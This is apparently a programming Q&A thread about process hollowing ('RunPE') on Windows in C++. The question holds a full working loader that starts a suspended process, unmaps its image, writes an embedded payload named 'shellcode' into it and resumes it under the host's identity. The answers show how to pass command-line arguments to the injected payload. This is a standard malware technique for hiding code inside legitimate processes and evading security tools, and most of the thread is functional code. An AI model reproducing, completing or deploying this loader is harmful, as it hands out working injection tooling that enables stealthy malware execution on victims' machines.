C++ Process Hollowing/Dynamic Forking

Question

I am trying to understand how this whole process hollowing aka dynamic forking -concept actually works.

One thing I am curious about, is how to pass command line arguments/parameters to the forked process?

Here is the code(took from web) I'm learning, which works perfectly, expect I can't figure out a solution how to add CMD Arguments for the file that is being executed in memory.

Hollow.h

typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

class runPE{
public:
    void run(LPSTR szFilePath, PVOID pFile) 
    {
        PIMAGE_DOS_HEADER IDH;     
        PIMAGE_NT_HEADERS INH;     
        PIMAGE_SECTION_HEADER ISH; 
        PROCESS_INFORMATION PI;    
        STARTUPINFOA SI;           
        PCONTEXT CTX;              
        PDWORD dwImageBase;        
        NtUnmapViewOfSection xNtUnmapViewOfSection;
        LPVOID pImageBase;         
        int Count;                 
        IDH = PIMAGE_DOS_HEADER(pFile);
        if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
        {
            INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
            if (INH->Signature == IMAGE_NT_SIGNATURE)
            {
                RtlZeroMemory(&SI, sizeof(SI));
                RtlZeroMemory(&PI, sizeof(PI));
                if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
                {
                    CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
                    CTX->ContextFlags = CONTEXT_FULL;
                    if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
                    {
                        ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
                        if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
                        {
                            xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                            xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
                        }
                        pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
                        if (pImageBase)
                        {
                            WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                            for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                            {
                                ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                                WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                            }
                            WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
                            CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                            SetThreadContext(PI.hThread, LPCONTEXT(CTX));
                            ResumeThread(PI.hThread);
                        }

                    }
                }
            }
        }
        VirtualFree(pFile, 0, MEM_RELEASE);
    }
};

Main

int main()
{
    runPE rp;
    TCHAR szFilePath[1024];
    GetModuleFileNameA(0, LPSTR(szFilePath), 1024);
    rp.run(LPSTR(szFilePath), shellcode);
    //Sleep(INFINITE);
    return 0;
}

But how to pass arguments to the code that is will be forked to itself/memory? I have been messing with this for over ~7 hours without a solution, somebody please point me to the right way or show me how it is done.

Answer 1

You can always use some kind of interpocess communication:

1. create fake window and use window messages
2. pipes
3. mailslots
4. sockets
5. files
6. shared memory

Answer 2

Passing command line parameters to forked process is very simple, we just need to edit CreateProcess:

SOLUTION 1:

from

CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)

to

CreateProcessA(NULL, szFilePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)

1. Move szFilePath from the 1st to the 2nd parameter (lpCommandLine) of CreateProcess().
2. Set the 1st parameter (lpApplicationName) to NULL.

Now szFilePath can contain file path plus parameters, ex:

C:\MyProgram.exe -param1 -param2

CreateProcess will now execute the full command line, which includes the file path and the subsequent parameters.

SOLUTION 2:

Alternatively, you can just pass filename and parameters to CreateProcess in two separate strings:

CreateProcessA(szFilePath, szParameters, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)